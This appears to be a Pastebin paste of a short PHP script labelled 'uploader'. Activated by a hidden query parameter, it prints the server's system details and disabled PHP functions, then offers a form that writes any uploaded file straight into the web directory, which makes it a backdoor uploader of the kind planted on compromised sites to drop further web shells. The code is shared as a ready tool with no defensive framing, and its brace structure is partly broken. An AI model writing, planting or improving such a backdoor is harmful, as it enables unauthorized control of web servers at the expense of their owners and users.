Advertisement
VanGans

uploader

Feb 13th, 2019
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.54 KB | None | 0 0
  1. <?php
  2.  
  3.  if(isset($_GET["uploader"]))
  4.  {
  5.    {  echo"<font color=#ffffff>".php_uname()."";
  6.     print "\n";$disable_functions = @ini_get("disable_functions");
  7.     echo "<br>DisablePHP=".$disable_functions; print "\n";
  8.     echo"<br><form method=post enctype=multipart/form-data>";
  9.     echo"<input type=file name=f><input name=k type=submit id=k value=upload><br>";
  10.         if($_POST["k"]==upload)
  11. { { if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
  12. echo"<b>".$_FILES["f"]["name"];
  13. }}else{
  14. echo"<b>Gagal upload";
  15. }
  16. }
  17. }}} }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement